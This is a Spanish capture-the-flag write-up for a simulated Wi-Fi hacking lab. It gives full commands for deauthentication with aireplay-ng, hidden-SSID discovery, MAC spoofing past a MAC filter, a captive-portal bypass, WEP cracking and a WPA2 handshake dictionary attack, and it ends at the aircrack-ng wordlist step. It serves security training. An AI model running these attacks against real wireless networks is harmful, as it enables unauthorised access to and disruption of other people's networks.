The Hackers Labs Writeup — HWSIM (Spanish)

Este laboratorio está catalogado con la dificultad "Profesional" y su autor es "CuriosidadesDeHackers".

ATENCIÓN

Las herramientas y técnicas utilizadas en la resolución de este laboratorio han sido ejecutadas en un entorno controlado. El autor de esta publicación no se hace responsable del mal uso que se haga de estas, ya que el objetivo final de esta publicación es transmitir conocimientos con fines éticos y educativos.

Resumen de contenido sobre este laboratorio

Tags: 4-Way Handshake, Access Point (AP),Aircrack-ng suite, asleap, Captive portal (Portal cautivo), Default WPS PIN, Desautenticación de clientes (deauth),Divulgación de información, Estándar IEEE 802.11, Filtrado MAC, Gemelo malvado (Evil Twin), hcxdumptool, hcxpcapngtool, Hidden SSID, hostapd, John The Ripper,MAC spoofing, macchanger,Medium Access Control (MAC), Pairwise Master Key Identifier (PMKID), Pre Shared Key (PSK), reaver,Seguridad inalámbrica, wash, Wi-Fi Protected Access (WPA/WPA2/WPA3), Wi-Fi Protected Setup (WPS), Wired Equivalent Privacy (WEP), Wireless Fidelity (Wi-Fi), wpa_supplicant

Antes de comenzar, se indica un resumen de contenido que se puede encontrar en esta guía:

Compromiso de la seguridad de varias redes inalámbricas virtuales implementadas en este laboratorio con el objetivo de documentar la vulnerabilidad encontrada, el ataque realizado y las mitigaciones propuestas para mejorar su seguridad.

Instrucciones a tener en cuenta y configuración previa necesaria

Instrucciones

Antes de continuar es muy importante leerse la descripción de este laboratorio, ya que se dan instrucciones muy concretas sobre como operar para que todo funcione correctamente.

Lo principal a tener en cuenta es que las redes definidas son implementaciones 100% virtuales, utilizando el módulo de kernel para Linux denominado mac80211_hwsim, que simula radios IEEE 802.11 por software. Esta implementación está realizada y probada sobre una máquina virtual Kali Linux, que es la máquina sobre la que se trabaja en este laboratorio.

Gracias a ello no es necesario configurar ni disponer de una tarjeta de red inalámbrica física para realizar pruebas sobre las redes definidas bajo el estándar IEEE 802.11 en este laboratorio.

Indico a continuación una serie de recomendaciones adicionales a la descripción a seguir según mi propia experiencia con este laboratorio:

Utilizar el hipervisor VMware para poder importar la máquina adecuadamente.
Leerse detenidamente y seguir las instrucciones indicadas en su descripción antes de empezar con el laboratorio.
Cada vez que se cambie de ejercicio, utilizar "cleanup.sh" para asegurarse la limpieza y estabilidad del laboratorio en el siguiente ejercicio.

Adicionalmente asumo que quien acude a esta guía ya dispone de una mínima base en temas como redes, criptografía, herramientas comunes de hacking Wi-Fi (paquete de herramientas aircrack-ng, Wireshark, etc…) o incluso el propio estándar IEEE 802.11.

Configuración

Comparto en este caso como he realizado la configuración y he interactuado con el laboratorio.

Una vez importada, se adapta la configuración de la máquina para que pertenezca a una red tipo "host only" y pertenezca al mismo segmento de red que la máquina atacante (propia) que es la que se va a utilizar para conectarse y resolver este laboratorio.

Una vez arrancada la máquina de laboratorio, se espera 1 minuto y se ejecutan los siguientes comandos para lo siguiente:

Habilitar el servicio SSH para poder conectarse a la máquina.
Conocer la IP asociada a la interfaz de red configurada para dicho segmento de red y poder así conectarse.

setxkbmap es
sudo systemctl start ssh
<introducir la contraseña facilitada>
ss -ntlp | grep -i 22
ip a show eth0

setxkbmap es
sudo systemctl start ssh
<introducir la contraseña facilitada>
ss -ntlp | grep -i 22
ip a show eth0

Tras esta configuración es posible acceder al sistema a través de SSH desde la máquina atacante (propia) y donde se muestra más información sobre el laboratorio. Recomiendo copiar esta información a un sitio más accesible para recurrir a esta más rápidamente.

ssh kali@192.168.69.128
yes (aceptar conexión sin comprobar autenticidad)
<introducir la contraseña facilitada>
whoami
id
hostname

ssh kali@192.168.69.128
yes (aceptar conexión sin comprobar autenticidad)
<introducir la contraseña facilitada>
whoami
id
hostname

Las interfaces de red virtuales implementadas para este laboratorio se pueden comprobar a continuación.

cat /etc/wifi-ctf/interfaces.env
...

AP1_RECON_IFACE=wlan0
AP2_HIDDEN_IFACE=wlan1
STA2_HIDDEN_IFACE=wlan2
AP3_MACFILTER_IFACE=wlan3
STA3_MACFILTER_IFACE=wlan4
AP4_PORTAL_IFACE=wlan5
SPARE_WEP_IFACE=wlan6
STA8_PMKID_IFACE=wlan7
AP67_WPA2_IFACE=wlan8
STA67_WPA2_IFACE=wlan9
AP8_PMKID_IFACE=wlan10
AP9_WPS_IFACE=wlan11
AP10_LEGIT_IFACE=wlan12
STA10_ENTERPRISE_IFACE=wlan13
ATTACKER1_IFACE=wlan14
ATTACKER2_IFACE=wlan15

cat /etc/wifi-ctf/interfaces.env
...

AP1_RECON_IFACE=wlan0
AP2_HIDDEN_IFACE=wlan1
STA2_HIDDEN_IFACE=wlan2
AP3_MACFILTER_IFACE=wlan3
STA3_MACFILTER_IFACE=wlan4
AP4_PORTAL_IFACE=wlan5
SPARE_WEP_IFACE=wlan6
STA8_PMKID_IFACE=wlan7
AP67_WPA2_IFACE=wlan8
STA67_WPA2_IFACE=wlan9
AP8_PMKID_IFACE=wlan10
AP9_WPS_IFACE=wlan11
AP10_LEGIT_IFACE=wlan12
STA10_ENTERPRISE_IFACE=wlan13
ATTACKER1_IFACE=wlan14
ATTACKER2_IFACE=wlan15

A continuación, se cargan como variables de entorno para que sea más fácil de referenciar (esto con cada nueva sesión SSH que se abra, que como se verá más adelante hará falta más de una).

echo $AP1_RECON_IFACE -> (nada)
source /etc/wifi-ctf/interfaces.env
echo $AP1_RECON_IFACE -> wlan0

echo $AP1_RECON_IFACE -> (nada)
source /etc/wifi-ctf/interfaces.env
echo $AP1_RECON_IFACE -> wlan0

Nota importante: El acceso e interacción con la máquina de laboratorio para esta resolución es solo por consola (SSH), demostrando que es posible resolverlo sin necesidad de ningún recurso gráfico.

Resolución del laboratorio

A continuación se muestra la resolución de este laboratorio dividida por ejercicios.

Flag 1 — Vendor element del beacon visible en modo monitor

Nada más haber establecido el laboratorio, se pone en modo monitor la primera interfaz atacante.

sudo /opt/wifi-ctf/modo.sh $ATTACKER1_IFACE monitor 1
ip a | tail -n 4

sudo /opt/wifi-ctf/modo.sh $ATTACKER1_IFACE monitor 1
ip a | tail -n 4

A continuación, se establece esta interfaz para que escuche el tráfico de red disponible a través del canal 1.

sudo airodump-ng $ATTACKER1_IFACE -w recon --channel 1

sudo airodump-ng $ATTACKER1_IFACE -w recon --channel 1

Tras esperar un poco, se obtiene información asociada a un punto de acceso (Access Point o AP) en este caso es el denominado "CTF-Nivel1-Reconocimiento", el cual parece no tener ningún cliente asociado.

BSSID: 02:00:00:00:00:00
SSID: CTF-Nivel1-Reconocimiento
Cliente asociado: (ninguno)

Tras esperar a que se capture un poco de tráfico (no más de 30 segundos en este caso), se termina la captura y se utiliza la herramienta "TShark" para analizar el tráfico capturado.

En resumen, TShark es la versión de línea de comandos de Wireshark que permite capturar y analizar tráfico de red. Sirve para inspeccionar paquetes y protocolos, como TCP, UDP, HTTP o DNS, mostrando información detallada sobre las comunicaciones. Es útil para diagnosticar problemas de red, detectar anomalías y analizar capturas de paquetes sin necesidad de utilizar una interfaz gráfica, como en este caso.

Para obtener la información deseada, se filtra por "wlan.fc.type_subtype" y "wlan.tag.number", donde el type_subtype con valor "0x08" corresponde a la trama del beacon visible (Type: Management****, ****Subtype: Beacon) y "tag.number" con valor "221" hace referencia al "Information Elements Vendor Specific", lo que devuelve la información del vendor asociada.

Wireshark (Display Filter Reference: IEEE 802.11 wireless LAN): https://www.wireshark.org/docs/dfref/w/wlan.html
IEEE 802.11 (Frame and MPDU Formats): https://www.ieee802.org/11/Documents/DocumentArchives/1995_docs/1195177_scan.pdf
Wireshark (Information Element tags in source code): https://www.wireshark.org/docs/wsar_html/packet-ieee80211_8h_source.html
file recon-01.cap
tshark -r recon-01.cap -Y 'wlan.fc.type_subtype == 0x08 && wlan.tag.number == 221' -V | tail -n 10

Wireshark (Display Filter Reference: IEEE 802.11 wireless LAN): https://www.wireshark.org/docs/dfref/w/wlan.html
IEEE 802.11 (Frame and MPDU Formats): https://www.ieee802.org/11/Documents/DocumentArchives/1995_docs/1195177_scan.pdf
Wireshark (Information Element tags in source code): https://www.wireshark.org/docs/wsar_html/packet-ieee80211_8h_source.html
file recon-01.cap
tshark -r recon-01.cap -Y 'wlan.fc.type_subtype == 0x08 && wlan.tag.number == 221' -V | tail -n 10

Tras convertir el valor hexadecimal presente en el campo "Vendor Specific Data" a texto, se obtiene la flag asociada a este ejercicio en texto plano.

tshark -r recon-01.cap -Y 'wlan.fc.type_subtype == 0x08 && wlan.tag.number == 221' -T fields -e wlan.tag.vendor.data
tshark -r recon-01.cap -Y 'wlan.fc.type_subtype == 0x08 && wlan.tag.number == 221' -T fields -e wlan.tag.vendor.data | xxd -r -p

tshark -r recon-01.cap -Y 'wlan.fc.type_subtype == 0x08 && wlan.tag.number == 221' -T fields -e wlan.tag.vendor.data
tshark -r recon-01.cap -Y 'wlan.fc.type_subtype == 0x08 && wlan.tag.number == 221' -T fields -e wlan.tag.vendor.data | xxd -r -p

Nota importante: Si al subir la flag no funciona, al principio de esta falta una letra evidente ;)

Flag 2 — SSID oculto revelado tras deauth

Se restablece el laboratorio con "cleanup.sh" y se pone en modo monitor la primera interfaz atacante.

sudo /opt/wifi-ctf/cleanup.sh
(esperar a que termine)
sudo /opt/wifi-ctf/modo.sh $ATTACKER1_IFACE monitor 2
ip a | tail -n 4

sudo /opt/wifi-ctf/cleanup.sh
(esperar a que termine)
sudo /opt/wifi-ctf/modo.sh $ATTACKER1_IFACE monitor 2
ip a | tail -n 4

A continuación, se establece esta interfaz para que escuche el tráfico de red disponible a través del canal 2.

sudo airodump-ng $ATTACKER1_IFACE -w recon --channel 2

sudo airodump-ng $ATTACKER1_IFACE -w recon --channel 2

Tras esperar un poco, se obtiene información asociada a un punto de acceso (Access Point o AP) en este caso con SSID oculto, pero que parece disponer de un cliente asociado.

BSSID: 02:00:00:00:01:00
SSID: (oculto)
Cliente asociado: 02:00:00:00:02:00

En este caso se dispone de una red con SSID oculto. Sin embargo, es posible hacerlo visible en este escenario.

Esto se debe a que un SSID "oculto" no está realmente oculto: el punto de acceso sí incluye el SSID en otras tramas de gestión, como las probe responses, y el propio cliente que ya está asociado lo conoce y lo expone al reconectarse. Durante el proceso de conexión, el cliente intercambia tramas de gestión (concretamente la probe request y la association request) que contienen el SSID en claro.

Para forzar ese evento se puede emplear la operación denominada desautenticación, que envía una trama de desautenticación en nombre del AP al cliente para terminar su conexión con este y obligarlo a reconectarse. Al observar posteriormente el tráfico de gestión capturado (en particular las tramas probe request y association request) es posible identificar el SSID que utiliza dicha red.

Para reproducir esto, se abre una nueva sesión SSH y se utiliza la segunda interfaz atacante para desautenticar el cliente asociado.

(segunda sesión SSH) -> se mantiene la primera con airodump-ng escuchando tráfico

sudo iw dev $ATTACKER2_IFACE set channel 2
sudo aireplay-ng --deauth 10 -a 02:00:00:00:01:00 -c 02:00:00:00:02:00 $ATTACKER2_IFACE

(segunda sesión SSH) -> se mantiene la primera con airodump-ng escuchando tráfico

sudo iw dev $ATTACKER2_IFACE set channel 2
sudo aireplay-ng --deauth 10 -a 02:00:00:00:01:00 -c 02:00:00:00:02:00 $ATTACKER2_IFACE

Volviendo a la primera sesión SSH, se puede comprobar que el cliente a vuelto a realizar la asociación a la red de forma automática y ahora el SSID es visible. Además este corresponde a la flag de este ejercicio.

Flag 3 — Filtrado por MAC evadido con spoofing

Se restablece el laboratorio con "cleanup.sh" y se pone en modo monitor la primera interfaz atacante.

sudo /opt/wifi-ctf/cleanup.sh
(esperar a que termine)
sudo /opt/wifi-ctf/modo.sh $ATTACKER1_IFACE monitor 3
ip a | tail -n 4

sudo /opt/wifi-ctf/cleanup.sh
(esperar a que termine)
sudo /opt/wifi-ctf/modo.sh $ATTACKER1_IFACE monitor 3
ip a | tail -n 4

A continuación, se establece esta interfaz para que escuche el tráfico de red disponible a través del canal 3.

sudo airodump-ng $ATTACKER1_IFACE -w recon --channel 3

sudo airodump-ng $ATTACKER1_IFACE -w recon --channel 3

Tras esperar un poco, se obtiene información asociada a un punto de acceso (Access Point o AP) en este caso es el denominado "CTF-Nivel3-ListaBlanca", y que parece disponer de un cliente asociado.

BSSID: 02:00:00:00:03:00
SSID: CTF-Nivel3-ListaBlanca
Cliente asociado: 02:00:00:00:04:00

En este escenario se aplica un filtrado MAC como única medida de protección de la red.

Recurrir únicamente a este método no es suficiente, porque las direcciones MAC se transmiten en claro en las comunicaciones Wi-Fi y pueden ser observadas. Esto permite a un dispositivo suplantar (spoofear) una dirección MAC autorizada, tras revisar qué clientes están asociados a dicha red.

Para reproducir esto, se cambia a modo gestionado la primera interfaz atacante y se cambia su dirección MAC por la del cliente conectado.

(cancelar captura de tráfico)
sudo /opt/wifi-ctf/modo.sh $ATTACKER1_IFACE managed
sudo ip link set $ATTACKER1_IFACE down
sudo macchanger -m 02:00:00:00:04:00 $ATTACKER1_IFACE
sudo ip link set $ATTACKER1_IFACE up
ip a | tail -n 4

(cancelar captura de tráfico)
sudo /opt/wifi-ctf/modo.sh $ATTACKER1_IFACE managed
sudo ip link set $ATTACKER1_IFACE down
sudo macchanger -m 02:00:00:00:04:00 $ATTACKER1_IFACE
sudo ip link set $ATTACKER1_IFACE up
ip a | tail -n 4

Se recurre nuevamente a la segunda sesión SSH para, utilizando la segunda interfaz atacante, desautenticar el cliente asociado a spoofear para evitar colisiones a la hora de realizar la asociación con la interfaz atacante.

(segunda sesión SSH) -> la primera se utiliza para conectarse a la red objetivo

sudo iw dev $ATTACKER2_IFACE set channel 3
sudo aireplay-ng --deauth 10 -a 02:00:00:00:03:00 -c 02:00:00:00:04:00 $ATTACKER2_IFACE

(segunda sesión SSH) -> la primera se utiliza para conectarse a la red objetivo

sudo iw dev $ATTACKER2_IFACE set channel 3
sudo aireplay-ng --deauth 10 -a 02:00:00:00:03:00 -c 02:00:00:00:04:00 $ATTACKER2_IFACE

En paralelo se realiza la asociación a la red objetivo y se comprueba que esta se ha realizado exitosamente.

cat > /tmp/connect.conf << 'EOF'
network={
    bssid=02:00:00:00:03:00
    key_mgmt=NONE
    scan_ssid=1
    freq_list=2422
}
EOF

sudo wpa_supplicant -B -i $ATTACKER1_IFACE -c /tmp/connect.conf

(esperar unos segundos a que la asociación se realice)

sudo iw dev $ATTACKER1_IFACE link

cat > /tmp/connect.conf << 'EOF'
network={
    bssid=02:00:00:00:03:00
    key_mgmt=NONE
    scan_ssid=1
    freq_list=2422
}
EOF

sudo wpa_supplicant -B -i $ATTACKER1_IFACE -c /tmp/connect.conf

(esperar unos segundos a que la asociación se realice)

sudo iw dev $ATTACKER1_IFACE link

En este caso se comprueba que la interfaz se auto-asigna una dirección IP APIPA, y a pesar de utilizar "dhcpcd" para solicitar una IP (esta máquina no incluye "dhclient"), se vuelve a asignar una IP APIPA diferente.

En resumen, una dirección IP APIPA (Automatic Private IP Addressing) es una dirección que un dispositivo se asigna automáticamente cuando no consigue obtener una dirección IP mediante DHCP. En IPv4 pertenece al rango 169.254.0.0/16 y permite la comunicación básica entre dispositivos de la misma red local. Su aparición suele indicar que el dispositivo no ha podido contactar correctamente con un servidor DHCP.

ip a show $ATTACKER1_IFACE
sudo ip addr del 169.254.163.4/16 dev $ATTACKER1_IFACE
ip a show $ATTACKER1_IFACE
sudo dhcpcd $ATTACKER1_IFACE
ip a show $ATTACKER1_IFACE

ip a show $ATTACKER1_IFACE
sudo ip addr del 169.254.163.4/16 dev $ATTACKER1_IFACE
ip a show $ATTACKER1_IFACE
sudo dhcpcd $ATTACKER1_IFACE
ip a show $ATTACKER1_IFACE

Como no parece haber un servicio DHCP disponible que se encargue de asociar una dirección IP, se procede a realizar una asignación estática.

Para ello, primero se comprueba en este caso la red correspondiente a la interfaz de red objetivo.

ip a show $AP3_MACFILTER_IFACE

ip a show $AP3_MACFILTER_IFACE

En este caso, se fuerza una asignación estática de la IP directamente en la interfaz de red atacante, asignando una que posiblemente no tenga una adjudicación en la red.

ip a show $ATTACKER1_IFACE
sudo pkill -9 dhcpcd; sudo ip addr flush dev $ATTACKER1_IFACE; sudo ip addr add 10.3.0.100/24 dev $ATTACKER1_IFACE
ip a show $ATTACKER1_IFACE

ip a show $ATTACKER1_IFACE
sudo pkill -9 dhcpcd; sudo ip addr flush dev $ATTACKER1_IFACE; sudo ip addr add 10.3.0.100/24 dev $ATTACKER1_IFACE
ip a show $ATTACKER1_IFACE

Escaneando la red se puede comprobar qué dispositivos son accesible a nivel de red. Además, esta asignación permite a la interfaz atacante acceder a la red objetivo.

nmap -sn 10.3.0.0/24
ip route | grep 10.3.0.1

nmap -sn 10.3.0.0/24
ip route | grep 10.3.0.1

Es posible acceder al punto de acceso y se comprueba que tiene los puertos 22 y 80 abiertos (el 22 es debido al que hemos abierto al principio).

ping -c 1 10.3.0.1
nmap -sCV 10.3.0.1

ping -c 1 10.3.0.1
nmap -sCV 10.3.0.1

Al revisar el servicio HTTP disponible a través del puerto 80, se obtiene un mensaje de enhorabuena junto a la flag de este ejercicio.

curl -s http://10.3.0.1 | xmllint --format -

curl -s http://10.3.0.1 | xmllint --format -

Flag 4— Bypass del portal cautivo

Se restablece el laboratorio con "cleanup.sh".

sudo /opt/wifi-ctf/cleanup.sh
(esperar a que acabe)

sudo /opt/wifi-ctf/cleanup.sh
(esperar a que acabe)

En este escenario se presenta una red aparentemente protegida por un portal cautivo.

En resumen, un portal cautivo es un sistema que intercepta el tráfico del cliente y lo redirige a una página web de autenticación, registro o aceptación de condiciones antes de permitirle navegar normalmente. Se utiliza habitualmente en redes Wi-Fi públicas, hoteles, aeropuertos o centros educativos para controlar el acceso de los usuarios a la red.

Como se va a ver a continuación, el portal cautivo presente en esta red no dispone de mecanismos de comprobación suficientes, lo que puede generar una falsa sensación de seguridad.

En este caso, la implementación de este portal se limita a mostrar una página de aceptación de términos de uso (portal de tipo click-through) que no garantiza que el usuario esté realmente autenticado. Al no validar identidad ni credenciales, cualquier dispositivo que se conecte puede superar ese control.

Para reproducir esto, se realiza la conexión directamente a la red correspondiente a este ejercicio, comprobando la dirección MAC asociada a la interfaz que ofrece esta red.

ip a show $AP4_PORTAL_IFACE

cat > /tmp/connect.conf << 'EOF'
network={
    bssid=02:00:00:00:05:00
    key_mgmt=NONE
    scan_ssid=1
    mode=0
    auth_alg=OPEN
}
EOF

sudo wpa_supplicant -B -i $ATTACKER1_IFACE -c /tmp/connect.conf

(esperar unos segundos a que la asociación se realice)

sudo iw dev $ATTACKER1_IFACE link

ip a show $AP4_PORTAL_IFACE

cat > /tmp/connect.conf << 'EOF'
network={
    bssid=02:00:00:00:05:00
    key_mgmt=NONE
    scan_ssid=1
    mode=0
    auth_alg=OPEN
}
EOF

sudo wpa_supplicant -B -i $ATTACKER1_IFACE -c /tmp/connect.conf

(esperar unos segundos a que la asociación se realice)

sudo iw dev $ATTACKER1_IFACE link

En este caso el SSID corresponde con "CTF-Cafe-Gratis".

BSSID: 02:00:00:00:05:00
SSID: CTF-Cafe-Gratis
Cliente asociado: (actualmente, por lo menos la primera interfaz atacante se encuentra asociada)

De la misma forma que en el ejercicio anterior, no se dispone de un servicio DHCP que realice la asignación automática de la dirección IP.

Por ello, se fuerza una asignación estática de la IP directamente en la interfaz de red atacante, asignando una que posiblemente no tenga una adjudicación en la red.

ip a show $ATTACKER1_IFACE
sudo pkill -9 dhcpcd; sudo ip addr flush dev $ATTACKER1_IFACE; sudo ip addr add 10.4.0.100/24 dev $ATTACKER1_IFACE
ip a show $ATTACKER1_IFACE

ip a show $ATTACKER1_IFACE
sudo pkill -9 dhcpcd; sudo ip addr flush dev $ATTACKER1_IFACE; sudo ip addr add 10.4.0.100/24 dev $ATTACKER1_IFACE
ip a show $ATTACKER1_IFACE

Escaneando la red se puede comprobar qué dispositivos son accesible a nivel de red. Además, esta asignación permite a la interfaz atacante acceder a la red objetivo.

nmap -sn 10.4.0.0/24
ip route | grep 10.4.0.1

nmap -sn 10.4.0.0/24
ip route | grep 10.4.0.1

Es posible acceder al punto de acceso y se comprueba que tiene los puertos 22 y 80 abiertos (el 22 es debido al que hemos abierto al principio).

ping -c 1 10.4.0.1
nmap -sCV 10.4.0.1

ping -c 1 10.4.0.1
nmap -sCV 10.4.0.1

Al revisar el servicio HTTP disponible a través del puerto 80, se obtiene acceso a un portal cautivo con un botón para aceptar los términos de uso.

curl -s http://10.4.0.1 | xmllint --format -

curl -s http://10.4.0.1 | xmllint --format -

Para realizar esta acción, se accede directamente al recurso al que apunta. Una vez hecho, los términos quedan aceptados y se indica que es posible navegar. Además muestra un nuevo recurso para acceder a la flag.

curl -s http://10.4.0.1/portal/aceptar

curl -s http://10.4.0.1/portal/aceptar

Tras acceder a este último recurso se obtiene un mensaje de acceso concedido junto a la flag de este ejercicio.

curl -s http://10.4.0.1/flag

curl -s http://10.4.0.1/flag

Flag 5 — WEP roto con aircrack-ng (ataque PTW)

Se restablece el laboratorio con "cleanup.sh" y se ubica el archivo que contiene la captura del tráfico de la red WEP utilizada para este ejercicio.

sudo /opt/wifi-ctf/cleanup.sh
ls -al /opt/wifi-ctf/capturas
file /opt/wifi-ctf/capturas/nivel5-router-viejo.cap

sudo /opt/wifi-ctf/cleanup.sh
ls -al /opt/wifi-ctf/capturas
file /opt/wifi-ctf/capturas/nivel5-router-viejo.cap

A partir de aquí comienzan a mostrarse escenarios dónde el mecanismo de seguridad de cada red condiciona el ataque. Por ello, comparto una referencia para entender mejor las diferencias entre los distintos estándares existentes.

Referencia (kaspersky.es, WEP, WPA, WPA2 y WPA3: diferencias y explicación): https://www.kaspersky.es/resource-center/definitions/wep-vs-wpa

Referencia (kaspersky.es, WEP, WPA, WPA2 y WPA3: diferencias y explicación): https://www.kaspersky.es/resource-center/definitions/wep-vs-wpa

En este escenario no se presenta una red como tal, sino un archivo de captura de tráfico que contiene el tráfico generado en una red con cifrado WEP.

WEP (Wired Equivalent Privacy) fue el mecanismo de confidencialidad criptográfico opcional definido originalmente en el estándar IEEE 802.11. Su cifrado se apoya en el algoritmo de flujo RC4, empleando como semilla un vector de inicialización (IV) de 24 bits (que se transmite en texto plano) concatenado con la clave precompartida.

La escasa longitud del IV (apenas 16.777.216 valores posibles) provoca su reutilización frecuente en redes con tráfico elevado, y determinados IVs, conocidos como "débiles", inducen sesgos estadísticos que filtran información sobre la clave, tal y como demostraron Fluhrer, Mantin y Shamir en 2001 mediante el ataque FMS.

Herramientas como aircrack-ng explotan estas debilidades a partir del análisis estadístico del tráfico capturado. Como consecuencia, el IEEE declaró WEP obsoleto (deprecated) en 2004.

No obstante, el ataque PTW, creado por Pyshkin, Tews y Weinmann en 2007 y actualmente definido como método predeterminado de aircrack-ng para atacar este mecanismo, optimiza el proceso: en lugar de depender de los IVs débiles, asigna una probabilidad a cada byte de la clave y refina la estimación conforme se procesan más paquetes, permitiendo recuperar la clave en cuestión de segundos con unas decenas de miles de IVs, muy por debajo de los cientos de miles que exigía KoreK y de los varios millones que requerían los ataques FMS originales.

Al revisar la captura, se puede comprobar que dispone de suficientes vectores de inicialización (IV), lo cual es necesario para aplicar este ataque y recuperar así la clave.

tshark -r /opt/wifi-ctf/capturas/nivel5-router-viejo.cap -Y "wlan.wep.iv" | wc -l
tshark -r /opt/wifi-ctf/capturas/nivel5-router-viejo.cap -Y "wlan.wep.iv" -T fields -e wlan.wep.iv | sort | uniq | wc -l

tshark -r /opt/wifi-ctf/capturas/nivel5-router-viejo.cap -Y "wlan.wep.iv" | wc -l
tshark -r /opt/wifi-ctf/capturas/nivel5-router-viejo.cap -Y "wlan.wep.iv" -T fields -e wlan.wep.iv | sort | uniq | wc -l

De esta forma, se hace uso de aircrack-ng sobre la captura de tráfico. La clave se recupera casi instantáneamente gracias a las debilidades del mecanismo y a la cantidad de vectores de inicialización (IV) disponibles en la captura.

sudo aircrack-ng /opt/wifi-ctf/capturas/nivel5-router-viejo.cap

sudo aircrack-ng /opt/wifi-ctf/capturas/nivel5-router-viejo.cap

La flag en este caso sigue el mismo formato que las obtenidas hasta el momento, incluyendo al final la clave recuperada eliminando el carácter ":".

En cualquier caso, en el apartado BONUS más adelante en esta publicación se muestra dónde se puede obtener la flag exacta directamente.

Flag 6 — Deauth con aireplay-ng (evidencia para el instructor)

Se restablece el laboratorio con "cleanup.sh" y se pone en modo monitor la primera interfaz atacante.

sudo /opt/wifi-ctf/cleanup.sh
(esperar a que termine)
sudo /opt/wifi-ctf/modo.sh $ATTACKER1_IFACE monitor 36
ip a | tail -n 4

sudo /opt/wifi-ctf/cleanup.sh
(esperar a que termine)
sudo /opt/wifi-ctf/modo.sh $ATTACKER1_IFACE monitor 36
ip a | tail -n 4

A continuación, se establece esta interfaz para que escuche el tráfico de red disponible a través del canal 36.

sudo airodump-ng $ATTACKER1_IFACE -w recon --channel 36

sudo airodump-ng $ATTACKER1_IFACE -w recon --channel 36

Tras esperar un poco, se obtiene información asociada a un punto de acceso (Access Point o AP) en este caso es el denominado "CTF-Oficina-WiFi", y que parece disponer de un cliente asociado.

BSSID: 02:00:00:00:08:00
SSID: CTF-Oficina-WiFi
Cliente asociado: 02:00:00:00:09:00

En este escenario parece disponer de una red protegida mediante WPA/WPA2-Personal.

Esta es la primera de dos secciones para aprovecharse de una contraseña débil utilizada para proteger esta tipo de red.

Las redes WPA/WPA2 en modo Personal o PSK (Pre-Shared Key) parten de una contraseña compartida. De esa contraseña se obtiene, mediante un cálculo deliberadamente lento (PBKDF2-SHA1, tomando el nombre de la red o SSID como sal), una clave maestra de 256 bits llamada PMK (Pairwise Master Key).

Cuando un cliente se conecta, se produce el llamado "apretón de manos de cuatro vías" (4-Way Handshake): cliente y punto de acceso intercambian números aleatorios de un solo uso (nonces) y sus direcciones MAC. Con todo ello, más la PMK, se construye la clave de sesión (PTK o Pairwise Transient Key). El intercambio sirve para confirmar que ambas partes poseen la misma PMK, pero deja al aire los datos suficientes para comprobar contraseñas más tarde.

Aquí está el fallo. Quien capture un handshake tendrá todos los datos públicos (nonces, MACs) y un código de integridad (MIC o Message Integrity Code). Con eso es posible probar contraseñas offline.

El proceso es el siguiente: para cada candidata se calcula su PMK, deriva la PTK y comprueba si el MIC cuadra con el capturado. La que coincida es la contraseña compartida utilizada en la red.

Para conseguir ese material no hace falta estar dentro de la red: basta con forzar una desconexión enviando una trama de desautenticación al cliente, que se reconectará y generará un handshake nuevo. Así, redes protegidas con contraseñas débiles quedan a merced de un ataque de diccionario o fuerza bruta offline, sin necesidad de comunicarse con el punto de acceso y limitado únicamente por la potencia del equipo del atacante.

Referencia (NIST - Wi-Fi Protected Access 2): https://csrc.nist.gov/glossary/term/wi_fi_protected_access_2
Referencia (NIST - Guidelines for Securing Wireless Local Area Networks (WLANs)): https://csrc.nist.gov/pubs/sp/800/153/final
Referencia (aircrack-ng - Deauthentication): https://www.aircrack-ng.org/doku.php?id=deauthentication

Referencia (NIST - Wi-Fi Protected Access 2): https://csrc.nist.gov/glossary/term/wi_fi_protected_access_2
Referencia (NIST - Guidelines for Securing Wireless Local Area Networks (WLANs)): https://csrc.nist.gov/pubs/sp/800/153/final
Referencia (aircrack-ng - Deauthentication): https://www.aircrack-ng.org/doku.php?id=deauthentication

Para reproducir esto, se recurre nuevamente a la segunda sesión SSH para, utilizando la segunda interfaz atacante, desautenticar el cliente asociado.

(segunda sesión SSH) -> se mantiene la primera con airodump-ng escuchando tráfico

sudo iw dev $ATTACKER2_IFACE set channel 36
sudo aireplay-ng --deauth 10 -a 02:00:00:00:08:00 -c 02:00:00:00:09:00 $ATTACKER2_IFACE

(segunda sesión SSH) -> se mantiene la primera con airodump-ng escuchando tráfico

sudo iw dev $ATTACKER2_IFACE set channel 36
sudo aireplay-ng --deauth 10 -a 02:00:00:00:08:00 -c 02:00:00:00:09:00 $ATTACKER2_IFACE

Al volver se puede comprobar que el cliente se ha desconectado y reconectado consecuentemente, mostrando que la captura del handshake se ha realizado.

En este caso, la flag la daría el instructor al mostrarle este paso, pero no hay instructor. La flag sigue el mismo formato que el resto.

En cualquier caso, en el apartado BONUS más adelante en esta publicación se muestra dónde se puede obtener la flag exacta directamente.

Flag 7 — Handshake WPA2-PSK forzado + diccionario

Esta es la segunda de dos secciones para aprovecharse de una contraseña débil utilizada para proteger esta tipo de red.

Por ello, aprovechando el archivo de capturas que contiene el handshake capturado en el ejercicio anterior, se realiza un ataque de diccionario ****offline.

Este proceso consiste en que, para cada contraseña candidata, se calcula su PMK mediante PBKDF2-SHA1 tomando el SSID como sal, se deriva la PTK a partir de ella junto con los nonces y MACs capturados en el handshake, y se comprueba si el MIC cuadra con el capturado. La que coincida es la contraseña compartida utilizada en la red.

Referencia (cylab.be, How does WPA/WPA2 WiFi security work, and how to crack it?): https://cylab.be/blog/32/how-does-wpawpa2-wifi-security-work-and-how-to-crack-it

Referencia (cylab.be, How does WPA/WPA2 WiFi security work, and how to crack it?): https://cylab.be/blog/32/how-does-wpawpa2-wifi-security-work-and-how-to-crack-it

Herramientas como aircrack-ng implementan precisamente este ataque offline de forma automatizada, permitiendo al usuario aprovechar el handshake capturado de una red WPA/WPA2 y posteriormente probar contraseñas candidatas contra él sin necesidad de interactuar con el punto de acceso. El programa gestiona internamente la derivación de la PMK, el cálculo de la PTK y la verificación del MIC, mostrando únicamente el resultado cuando encuentra una coincidencia.

Una vez conocido el proceso, se recurre a la siguiente wordlist para realizar este ataque de diccionario.

ls -al /opt/wifi-ctf/wordlists
file /opt/wifi-ctf/wordlists/debiles.txt

ls -al /opt/wifi-ctf/wordlists
file /opt/wifi-ctf/wordlists/debiles.txt

De esta forma, se hace uso de aircrack-ng contra la captura de tráfico. La clave se recupera casi instantáneamente ya que se encuentra dentro de la wordlist proporcionada. Además, esta corresponde con la flag de este ejercicio.

sudo aircrack-ng -w /opt/wifi-ctf/wordlists/debiles.txt recon-06.cap

